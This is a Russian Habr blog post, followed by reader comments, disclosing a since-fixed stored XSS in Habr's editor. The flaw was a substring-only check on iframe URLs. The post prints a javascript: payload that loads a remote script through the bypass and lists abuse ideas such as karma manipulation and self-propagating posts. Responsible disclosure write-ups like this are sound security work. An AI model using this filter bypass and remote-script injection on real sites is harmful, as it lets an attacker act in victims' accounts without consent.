Всегда хотел взломать Хабр. Мечта такая, но как-то руки не доходили. И вот, вдохновившись статьей о праведной борьбе с Безумным Максом, я, как и автор поста, решил исследовать функционал Хабра на предмет уязвимостей.

Начать решил с нового редактора, рассуждая следующим образом: раз он новый, то и уязвимости там точно должны быть.

В редакторе обратил особое внимание на три возможности:

  1. Вставка кода

  2. Вставка формул

  3. Вставка медиаэлементов

С первыми двумя пришлось повозиться, но ничего существенного найти не удалось. А вот третий оказался очень интересным — через медиаэлемент можем вставлять iframe, указывая на url ресурса, например, делать вставку с youtube. 

Но! Разработчики Хабра - хитрые ребята, и в материал вставляется iframe не прямой ссылкой на youtube, а ссылкой на https://embedd.srv.habr.com (например: https://embedd.srv.habr.com/iframe/621169d6e1af860b1c6b9971), где уже и содержится само видео.

Шаг 1

Проанализировав запрос сохранения публикации (https://habr.com/kek/v2/publication/save/ID), я попытался подменить ссылку в iframe на свою, через параметр habrUrl, но сервер вернул message: "Bad Request" "В тексте были использованы недопустимые элементы. Проверьте его содержимое". Хорошо, давайте проверим: недопустимых элементов точно нет, это просто url, а вот домен был не habr, а мой. Тогда в голову пришла мысль: «А что если домен embedd.srv.habr.com будет присутствовать только в части url, например так: https://mydomain.ru/embedd.srv.habr.com/?» 

Ого! Случилось чудо! Ссылка была успешно принята, и в черновиках я получил материал с iframe, где в качестве src была указана ссылка на мой ресурс. 

По всей видимости, разработчики не проверяют домен, а проверяют только вхождение ключевого слова «embedd.srv.habr.com», к примеру https://mydomain.ru/habr.com/ валидным не является.

Получив страницу с «правильно» встроенным iframe и побаловавшись с alert и console.log, я понял, что политика безопасности браузера не позволяет запускать скрипты из iframe и вообще обращаться к родительскому окну.

В результате iframe injection c вытекающими отсюда последствиями есть, например, вставкой своей рекламы или выполнением скриптов от имени пользователей, но, увы, без привязки к домену habr.com. Такой вариант меня не устроил, и я решил копать дальше. 

Шаг 2

А если попробовать вставить в iframe src не ссылку на фрейм, а непосредственно сам вызов javascript?

Например так:

javascript:alert(‘Hello habr!’);

Разумеется не работает, "Bad Request". Ах! Да, конечно!

javascript:alert(‘Hello habr! From embedd.srv.habr.com’);

Работает! Спасибо ключевому слову «embedd.srv.habr.com»

Ну все, далее уже дело техники, пробуем создать тег script и загрузить заранее подготовленный js-файл с моего сервера.

javascript:s=window.top.document.createElement('script');
s.setAttribute('src','https://mydomain.com/embedd.srv.habr.com/test.js');
window.top.document.head.appendChild(s)

window.top — так как скрипт вызывается из iframe, необходимо сперва обратиться к родительскому окну;

embedd.srv.habr.com — не забываем вставить в текст этот домен, без него работать не будет.

Отправив post-запрос, получил информацию, что материал успешно обновлен, а скрипт внедрен на страницу поста. 

Теперь любой пользователь, который зайдет в опубликованный материал, загрузит мой js-скрипт, и от его имени я могу совершать абсолютно любые действия, например: повышать карму, голосовать за любой материал, оставлять комментарии и публиковать заметки (разумеется если у него есть на это права).

Навскидку несколько сценариев использования уязвимости:

  1. Втихую повышаем себе карму и плюсуем свои посты.

  2. «Мониторим» тех, кто минусует твои посты, и минусуем их самих.

  3. От имени пользователей создаём посты с уязвимостями, которые создают такие же посты с уязвимостями (рекурсивно).

  4. Вариантов на самом деле много, можно предлагать свои в комментариях.

Протестировав получение данных на странице черновика и поэкспериментировав увеличением кармы случайным пользователям, я, разумеется, написал в тех. поддержку. Со мной связался специалист по тестированию, который передал данные разработчикам. Уязвимость поправили довольно быстро, и в данный момент она устранена.

Выводы

  1. Хабр вдохновляет!

  2. ВНИМАТЕЛЬНО валидируйте пользовательские данные.

  3. Если нашли уязвимость — сообщите разработчикам Хабра (можно через @Boomburum), вознаграждение гарантируется.

Комментарии (73)


  1. kamilocean
    22.02.2022 16:39
    +14

    СУПЕР!!! Спасибо)


  1. Alexandroppolus
    22.02.2022 16:41
    +62

    простейший xss в 2022 году на сайте про "айтишечку"... какое позорище

    я так понимаю, никто это не использовал для шутеек только потому, что никому в голову не могло прийти, что такое возможно


    1. redsh0927
      22.02.2022 19:15
      +65

      Сайт про айтишечку до сих пор не умеет нативно в тёмную тему (кою более чем обоснованно предпочитают не менее половины разработчиков и опытных юзеров), зато с новым дызайном и редактором в лучших традициях «лишь бы только не отбирали возможность вернуть как было!»


      1. KvanTTT
        22.02.2022 20:33
        +26

        Я бы даже сказал, что на Хабре темная тема даже важней, потому что многие его читают перед сном, а со светлой темой это некомфортно.


        1. MaryRabinovich
          22.02.2022 21:39
          -5

          Возможно, с тёмной проблема в целевых масштабах. Возможно, в отдельные части экрана / некоторые страницы проще добавить тёмную, чем всюду сразу.

          Что-то подсказывает, что до сих пор не поднимался вопрос типа "а вам чего важнее по-быстрому затемнить, если не сразу всё, а частями?"


        1. alfixer
          22.02.2022 23:12
          +18

          Поставить плагин для браузера Dark Reader или любой другой или тыкнуть в браузере соответствующую настройку - намного быстрее, чем годами ждать, когда кто-то что-то сделает.


          1. KvanTTT
            22.02.2022 23:16
            +6

            В который раз приходится объяснять, что Dark Reader невозможно использовать в мобильных ОС, где темная тема как раз более актуальна, потому что на них многие читают хабр перед сном.


            1. alfixer
              22.02.2022 23:28
              +12

              Really?

              Спойлер.


              1. Sazonov
                23.02.2022 17:40
                +1

                iOS safari, подскажите куда копать?

                Up: нашёл ниже ссылку на платный плагин.


              1. lonesimba
                23.02.2022 22:08

                Возможно, в хроме работает, а в яндекс поставить плагины низя


                1. alfixer
                  23.02.2022 22:16

                  1. lonesimba
                    24.02.2022 01:49

                    я про мобильный, на компе понятно что работает


                    1. alfixer
                      24.02.2022 02:09

                      Яндекс браузером не пользуюсь, но вроде он позволяет ставить плагины для хрома.

                      https://yanbrowser.ru/faq/black-theme-for-yandex-browser-on-android#i-2


            1. ris58h
              22.02.2022 23:35
              +8

              В смысле невозможно? В Firefox прекрасно работает. В Safari тоже должно быть что-то подобное.


              1. KvanTTT
                22.02.2022 23:51

                Что например? Firefox не использую, и все равно это полумера.


                1. KvanTTT
                  22.02.2022 23:53

                  Ну да, вроде что-то есть, причем платный: https://apps.apple.com/us/app/dark-reader-for-safari/id1438243180?platform=ipad


                1. ris58h
                  23.02.2022 14:30
                  +3

                  Не знаю что у вас за браузер, но в хроме есть настройка chrome://flags/#enable-force-dark

                  В Safari, вижу что уже нашли. Оно платное, да. Но тут уже к Apple претензии - аккаунт разработчика стоимостью $100 в год надо отбивать, как минимум.


            1. AdAbsurdum
              23.02.2022 01:41
              +1

              В опере мобильной прекрасно всё работает. Ещё и блокировка рекламы есть


            1. garbagecollected
              23.02.2022 13:11
              +1

              Можно добиться тёмной версии через URL:

              javascript:document.documentElement.style.filter+='invert(1)hue-rotate(180deg)';void(0);

              Немного неудобно применять на каждой странице, можно держать в закладках. Зато не нужны никакие расширения, как и нужна поддержка расширений вообще.


              1. KvanTTT
                23.02.2022 13:50
                +2

                Что-то сомневаюсь что это корректно будет работать. Темная тема — это не простое инвертирование цветов.


                1. garbagecollected
                  23.02.2022 14:56

                  Это немного укороченная версия.

                  В Dark Reader правило для habr.com

                  habr.com
                  
                  INVERT
                  img[src*="//tex.s2cms.ru/"]
                  
                  CSS
                  html {
                      text-shadow: none !important;
                  }
                  .main-navbar .icon-svg {
                    fill: ${#929ca5} !important;
                  }


          1. Psychosynthesis
            23.02.2022 01:19
            +7

            Dark Reader, безусловно, мастхэв. Для юзеров с катарактой - это вообще буквально обязательное расширение в Firefox'е. Хром вроде как с некоторых пор научился без расширений делать тёмную тему для любых сайтов (chrome://flags -> Force dark mode или как-то так), но с даркридером гораздо удобнее - иногда надо отключать и т.п.

            Проблема только в том, что Dark Reader, зараза, даже на мощном компе заметно подтормаживает браузер на "тяжёлых" сайтах.


      1. damirqa007
        22.02.2022 23:45

        а extension запилить? его же cделать как Get started...


      1. goldrobot
        23.02.2022 07:26
        +2

        кою более чем обоснованно предпочитают не менее половины разработчиков и опытных юзеров

        А в чем обоснование?


        1. frANTicBee
          23.02.2022 10:59
          +2

          Ну прикольно. Разумное же обоснование (для многих)
          А если серьезно конечно - то при чтении в темноте - светлый фон сильно бьет по глазам. Во всех остальных случаях использование темной темы как минимум вкусовщина, как максимум - уменьшенный контраст и еще бОльший вред глазам особенно при мелком шрифте.


          1. stork_teadfort
            23.02.2022 12:40
            +1

            Не только, но и меньшее энергопотребление на OLED дисплеях


            1. frANTicBee
              23.02.2022 16:59
              +1

              для просмотря чего то мелкого в пути - может быть актуально, но если юзаешь что то профессионально - то ты сидишь стационарно с зарядкой и плевать тебе на энергопотребление


    1. Jaguar505
      22.02.2022 19:49
      +24

      Не бывает систем защищенных на все 100% где разработчики могут допустить даже простейшую ошибку, но в этом нет ничего плохого, главное что разрабы пошли на контакт и оперативно пофиксили уязвимость


      1. Alexandroppolus
        23.02.2022 05:39
        +1

        Оперативное исправление это хорошо, согласен. Прикол в том, что среди небезопасностей сайта есть 3 самых общеизвестных поинта: xss, csrf и sql-инъекции. Первый и второй уже были, и я, черт возьми, теперь не удивлюсь, если и третий "ждет своего вдумчивого исследователя"


    1. Diamos
      22.02.2022 23:31
      +3

      Да, для 2022 года действительно стыдно… Хотелось бы глянуть на качество кода, возможно там уровень студента) Интересно, чем столько лет занимаются разработчики хабра?)


      1. werevolff
        23.02.2022 07:38
        +2

        А я-то думаю, чего это на Хабре стали возникать посты о том, что SOLID/GRASP/TDD не работают, и надо писать код "как получается"?


    1. FrolVII
      23.02.2022 03:35
      +6

      на сайте про "айтишечку"

      Подобные проекты - они не только "про айтишечку" или про что-либо подобное, они еще и про деньги, которые хочется, наверняка, тратить рачительно. Иногда это сказывается на результате.

      Но. То что habr "про айтишечку" свою роль, определенно, играет. Вот попался пользователь с определенным мировоззрением и соответствующим набором компетенций, который на чистом энтузиазме нашел проблему и помог ее решить. Вероятность столь благополучного исхода для ресурса с иным типом пользователей (он-лайн казино, банк, да что угодно) тоже имеется, но представляется ощутимо меньшей, нежели в данном сообществе.


    1. decomeron
      23.02.2022 16:04

      Зачем ломать стул, на котором сидишь?


      1. LuggerMan
        24.02.2022 11:42

        Успеть сделать это первым, конечно же, во избежание ломания стула теми, кто на нем не сидит


    1. d1gital_love
      23.02.2022 16:13
      +1

      Думаю, это связано с кардинальными изменениями чего-то и необдуманными выкатом в широкую паблику слишком рано.

      Хабр ломали прилично количество раз до этого.


  1. ne555
    22.02.2022 17:05
    -1

    del


  1. ifap
    22.02.2022 17:32
    +11

    CSP? Не, не слышали...

    PS: на всякий случай плюсец поставил, а то мало ли ;)


  1. Boomburum
    22.02.2022 18:06
    +50

    Максим, от себя и от коллег выражаю благодарность за то, что поделились информацией об этой уязвимости — пожалуй, это одна из самых существенных из найденных за всю историю Хабра, хотя, как и написали выше, "простая" :)


  1. anonymous
    00.00.0000 00:00


    1. your_eyes_lie
      22.02.2022 20:02
      +4

      Возможность вставки js находили и раньше, правда, почти 14 лет назад (feeling so old): https://habr.com/ru/post/26666/


    1. AgentRX
      23.02.2022 07:56
      +29

      А что, если уязвимость еще работает, и Boomburum не сам написал этот комментарий?)


      1. aapchy199
        23.02.2022 10:27
        +2

        «И запомните: верить в наше время нельзя никому, порой даже самому себе. Мне — можно. Хе-хе-хе!»


      1. imater
        23.02.2022 11:03
        +2

        Стилистика балконная, так что это точно он


  1. CRMguru
    22.02.2022 18:35
    +6

    Была тут статья про перфекционизм среди разработчиков, так вот - не бывает неважных уязвимостей, иногда такие вот маленькие шероховатости портят весь идеальный проект, так что автор молодец, что поделился


  1. TimsTims
    22.02.2022 20:57
    +30

    Я так понял, карму уже можно вам не повышать :D ?


  1. DimaFromMai
    22.02.2022 21:32
    +3

    Если нашли уязвимость — сообщите разработчикам Хабра (можно через Boomburum), вознаграждение гарантируется.

    У Хабра появилась программа bug bounty?


    1. pragmatik
      23.02.2022 01:58
      +4

      На моей памяти (а я работаю в Хабре с 2016) всегда поощряли пользователей, нашедших уязвимости, которые могут угрожать безопасности других пользователей, но сообщивших о них, вместо того, чтобы их использовать.

      Лично я вижу следующие проблемы в введении официальной bug bounty программы:

      • у пользователей и у работников компании могут разниться представления о том, что является багом (например, я не считаю багами отсутствие на сайте функциональности к которой пользователи привыкли в других системах, как в относительно недавней истории) и пользователи могут воспринимать этот как нежелание работников компании платить за проделанную ими работу;

      • пользователи могут сталкиваться с проблемами из-за того, что используют функциональность системы вопреки предусмотренной разработчиками логике (например, если в поиске пагинация только на 50 страниц, пользователь подставил в URL адрес, который должен бы быть у 51-й страницы, но вместо 51-й страницы получил ошибку), сообщившие о таких "ошибках" пользователи могут воспринимать этот как нежелание работников компании платить за проделанную ими работу;

      • недоработок достаточно много, они зафиксированы в виде задач в жире и прекрасно известны, просто ресурсы распределяются на более злободневные задачи и эти недоработки могут висеть годами, было бы странно платить за их "обнаружение", но пользователи, не имея доступа к корпоративной жире, могут воспринимать этот как нежелание работников компании платить за проделанную ими работу;

      • несколько пользователей могут сообщить об одной проблеме с небольшим интервалом времени (представьте, пользователь А сообщил о проблеме, ее взяли в работу и тут об этой же проблеме сообщил пользователь Б, после чего проблему пофиксили, пользователь Б будет считать, что компания пофиксила проблему на основании его обращения, но не хочет выплачивать ему вознаграждение).

      Думаю, что, за годы существования bug bounty программ, для большинства перечисленных мной проблем придумали какие-то решения, но интуиция подсказывает, что решения эти ресурсоемкие и более логично потратить эти ресурсы на устранение проблем, которые уже давно известны.


      1. third112
        23.02.2022 03:59
        +1

        Верно. Я написал про недостатки новой версии. Получил много плюсов, но


        Если нашли уязвимость — сообщите разработчикам Хабра (можно через Boomburum), вознаграждение гарантируется.

        Вознаграждение не получил.


        1. third112
          23.02.2022 04:02

          PS В деньгах не нуждаюсь, но принципиальный интерес.


          1. Alexandroppolus
            23.02.2022 04:55
            +1

            Так плюсы и были вознаграждением )


            1. third112
              23.02.2022 05:15
              +2

              ИМХО очевидно, что оценка сообщества в виртуальных плюсах и "гарантированная" оценка НЛО в реальных у.е. — принципиально разные вещи)


          1. rrrav
            23.02.2022 17:17

            В деньгах не нуждаюсь

            Думал, что только Прохорову деньги не нужны («...опять деньги приехали, куда их девать?» Квартет И (С)).

            Оказывается, таких много есть у нас ))


            1. third112
              23.02.2022 18:32
              +1

              Не надо путать слова "нужно" и "нуждаться".
              Перефразируя слова известной песни, школьник или студент мог написать:


              Хабр, Хабр, что я буду делать? Ку.
              Хабр, Хабр, как я буду жить? Ыыыыы!
              Ы-ку, ы-ку, ы-ку, ы-ку, ы-ку, ы-ку, ыыыы.
              У меня нет тёплого пальтишки,
              У меня нет тёплого белья.
              Дай мне за статью хоть немного денежек!

              А деньги нужны всем, и тем кто не особо остро нуждается :))
              (Есть у меня пальтишко, может где и порвано, но пока не сильно замерзаю).


      1. e_Hector
        23.02.2022 08:54
        +3

        Я думаю, проблема в термине "bug bounty". Просто не очень удачное название, слишком общее и сходу может показаться, что речь идет о любой ошибке в принципе.

        На практике же, bug bounty, обычно, значит именно проблемы с безопасностью.

        И проблем вида "баг или не баг" там не возникает.
        Удалось получить доступ к чужим данным - баг!

        Остается правда пространство для споров насколько он серьезный (от этого зависит сумма выплаты), но это уже история другая (да и там есть публичные критерии)

        Кстати, есть целые сервисы, для организации простой и понятной bug bounty программы.

        p.s. мы пользуемся bugcrowd


        1. aml
          23.02.2022 15:39

          Вот-вот, поддержу оратора. И если такие баги у вас будут в жире висеть годами, у меня для вас плохие новости.


      1. Bringoff
        23.02.2022 12:44
        +2

        например, я не считаю багами отсутствие на сайте функциональности к которой пользователи привыкли в других системах, как в относительно недавней истории

        специалист техподдержки «Хабра»

        @pragmatikхах, это ты что ли доказывал мне, что сочетание клавиш cmd+click и не обязано работать в браузере? Понятненько.


      1. RealPeha
        23.02.2022 18:02
        +1

        недоработки могут висеть годами

        Тогда у вас проблемы если задачи годами висят


  1. zandelok
    22.02.2022 22:22
    +1

    Это же насколько сильно вам захотелось найти уязвимости в хабре))



  1. sergey-kuznetsov
    23.02.2022 02:32
    -1

    А почему Хабр так криво отображает слова с ударе́ниями?


  1. Stopy
    23.02.2022 04:00
    +1

    Так, только зашел, а лайк уже стоит


  1. third112
    23.02.2022 04:16
    +1

    Если нашли уязвимость — сообщите разработчикам Хабра (можно через Boomburum), вознаграждение гарантируется.

    Просто любопытно: автор этой статьи получил вознаграждение? ;)


    1. Boomburum
      23.02.2022 18:41

      Да :) С вами тоже свяжусь за доп.подробностями, пока неполноценно у компа :)


  1. oYASo
    23.02.2022 10:04

    В статьи описана уязвимость, после которой рука сама потянулась повышать карму автору :)


  1. abyssmemes
    23.02.2022 10:26
    +3

    Благодаря тебе я исправил точно такой же косяк у нас в проекте, огромное спасибо!


  1. ASHcommander
    23.02.2022 11:30
    -1

    Посмотрите на сайт ДТФ. Я не эксперт, но как же там удобно сделано. Комментарии появляются в реальном времени, оценки тоже, справа лента последних комментариев, когда кто-то ставит тебе минус или плюс, ты видишь это в уведомлении, и при наведении на число можешь увидеть всех, кто и как оценил комментарий. Нет этой херни с тупой кармой - пиши и оценивай, как хочешь.


    1. Maccimo
      23.02.2022 20:51
      +1

      VC/TJ/DTF (это один хозяин и одна платформа) это эталон рукожопости, написанный на JavaScript. Там вполне обыденно бывает «пользователь совершает действие ⇒ сайт не реагирует ⇒ пользователь открывает DevTools и видит, что сервер вернул красивый JSON с подробным описанием ошибки, но фронтендеры болт клали на ответы сервера». За обновление в реальном времени вообще руки поотрывать стоило бы. Worker-ы разбухают и сжирают всю память на машине.

      Нет этой херни с тупой кармой — пиши и оценивай, как хочешь.
      Анонимная карма это безусловное благо.


      1. SevenTimes
        24.02.2022 10:25

        Там сейчас Очобу разорвало на куски, посты на дтф пишут, что комментов нет, а внутри их мало того куча, так ещё и с дубликатами. Ну и с каждой крупной новостью сайт тупо падает


  1. kipzshady
    24.02.2022 10:25
    +1

    Возможно вопрос не очень тактичный, но все же спрошу. Сколько платят за обнаруженную уязвимость?


    1. Boomburum
      24.02.2022 15:59

      Размер выплаты индивидуально определяем для каждого случая, посовещавшись с коллегами и оценив критичность. От 3000 до 40000.


  1. Nikulio
    25.02.2022 13:06

    Ребят, а что за синтаксис с двоеточием?
    javascript:s=window.top.document.createElement('script');

    Это создание алиаса на переменную? Почему сразу не написать через s? Вот так:

    s=window.top.document.createElement('script');